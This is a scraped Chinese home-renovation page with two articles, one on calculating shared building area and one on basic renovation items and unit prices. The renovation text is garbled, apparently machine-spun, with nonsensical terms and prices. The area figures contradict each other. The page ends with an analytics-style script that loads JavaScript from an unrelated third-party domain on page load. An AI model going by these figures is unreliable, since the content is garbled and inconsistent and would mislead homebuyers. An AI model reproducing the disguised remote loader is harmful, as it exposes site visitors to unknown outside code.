房屋公摊面积怎么算 房屋公摊面积包括哪些

对于房屋公摊面积的处理，目前我国尚无明确法律法规出台，因公摊面积的不明确，使其成为房地产交易过程中争论的焦点。那么，房屋公摊面积怎么算呢?房屋公摊面积包括哪些呢?一、房屋公摊面积怎么算公摊面积是分摊的共有建筑面积的简称，即指各产权共同占有或共同使用的共有建筑面积包括电梯井、管道井、楼梯间、垃圾道、变电室、设备间、公共门厅、过道、值班警卫室、为整幢楼服务的公共用房和管理用房的建筑面积、套与公共建筑之间的分隔墙以及外墙(山墙)、计入套内建筑面积之外的共用墙体面积。普通多层住宅楼在没有地下设备用房、没有底层商铺、底层架空的情况下，公摊系数约在10%-15%;带电梯的小高层住宅，公摊系数约在15%-20%;高层住宅相对更高一些，约在20%-25%。在签订购房合同时，合同上都会注明房屋的公摊系数范围。房屋面积以房地产交易权属登记中心测绘部的测绘结果为准，房产证上标注的面积也以此为准。建筑面积=套内建筑面积+公摊面积公摊面积=公摊系数*套内建筑面积公摊系数=总公共分摊面积/(套内建筑面积*总套数)套内建筑面积=套内使用面积+墙体面积+阳台面积普通住宅的一般公摊比例：多层：8%——15%小高层：10%——20%高层：15%——30%二、房屋公摊面积包括哪些1、整栋楼的产权人共同所有的整栋楼公用部分的建筑面积包括：电梯井、管道井、楼梯间、垃圾道、变电室、设备间、公共门厅、过道、地下室、值班警卫室等，以及为整幢服务公共用房和管理用房的建筑面积，以水平投影面积计算。2、共有建筑面积包括套与公共建筑之间的分隔墙，以及外墙(包括山墙)以水平投影面积一半的建筑面积。独立使用的地下室、车棚、车库、为多幢服务的警卫室，管理用房，作为人防工程的地下室都不计入共有建筑面积。3、公用分摊建筑面积指每套(单元)商品房依法应当分摊的公用建筑面积。公用建筑面积和分摊的公用建筑面积的产权归整栋楼购房人共有，购房人按照法律、法规的规定对其享有权利，承担责任。以上就是小编为大家介绍的房屋公摊面积怎么算，希望能够帮助到您。更多关于房屋公摊面积的相关资讯，请继续关注土巴兔学装修。

家装基础装修包括哪些项目 费用是多少

家装基础装修包括哪些项目?费用是多少?要知道装修是一项艰巨而重要的任务，因为其中包括的项目有很多，我们只有通过这些项目才能预算出价格，然后一步步进行装修。一、家装基础装修包括哪些项目(包括所有辅助材料和人工)1、墙体改造：拆除旧墙，砖石墙，线槽和落水管异构体2、水管(冷热水管)，电缆(强电，弱电)，燃气管材料及安装和放置。3、卫生间放置排水管，充满轻质材料，找平4、厨房，卫生间，阳台墙(不低于1.8米)，地板防水处理5、每个房间地板的平整处理。6、客厅623*623瓷砖，阳台可看300*300铺贴瓷砖7、浴室，厨房，客厅阳台，瓷砖8、墙面，腻子基层上表面，乳胶漆面刷9、卫浴用品，五金安装10、安装所有环境灯。家装基础装修包括哪些项目，造型部分(包括所有辅助材料和人工)1、电视墙造型2、客厅，餐厅，主卧，主卧入口，卫生间天花板​二、家装基础装修包括哪些项目-费用1、排水和电气安装。主要包括管槽，螺纹，卡式冲孔，开关面板安装，灯具和电气设备安装，水管槽，孔，热熔，排水管安装，卫浴设备安装等。价格为:15元-18元/平方米，具体金额应根据房屋建筑面积计算，可根据工程规模确定。例如，建筑面积为60平方米，普通水电总安装价格为900元。建筑面积120平方米，复杂布线不超过2100元。2、土木工程。一般铺墙砖:13-15元/平方米;密封水管:40元/个;密封电线:20元/单;全部水管线槽:150元/全管线槽;地面砂浆找平:5元/平方米;砌筑池:30元/月;大理石安装:8元/米，宽度大于0.5m:40元/米。3、木工工程。主要包括门的制作:80-90元/件，高度2m宽约1m，墙面厚度不限;门套制作150-160元/件;窗帘制作:10元/米;衣柜制作:80-100元/米，柜体不到0.9米，80元/米;衣柜:80元，上柜30下柜50;石膏板钢龙骨灯(木龙骨)吊顶:10-15元/平方米;塑料加固天花板:10元/平方米;铝加固天花板:12元/平方米;木制持有:8元/平方米。4、涂装工程。工作的主要内容是:墙面乳胶漆:8元/平方米;门，烤漆门:13元/平方米;木地板漆:13元/平方米。5、此外，还有物料搬运，处理等费用，这些也可以用装修工人处理，但也可以由业主单独处理，费用也会计算。以上介绍的是家装基础装修包括哪些项目和费用，一起来看看吧! var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();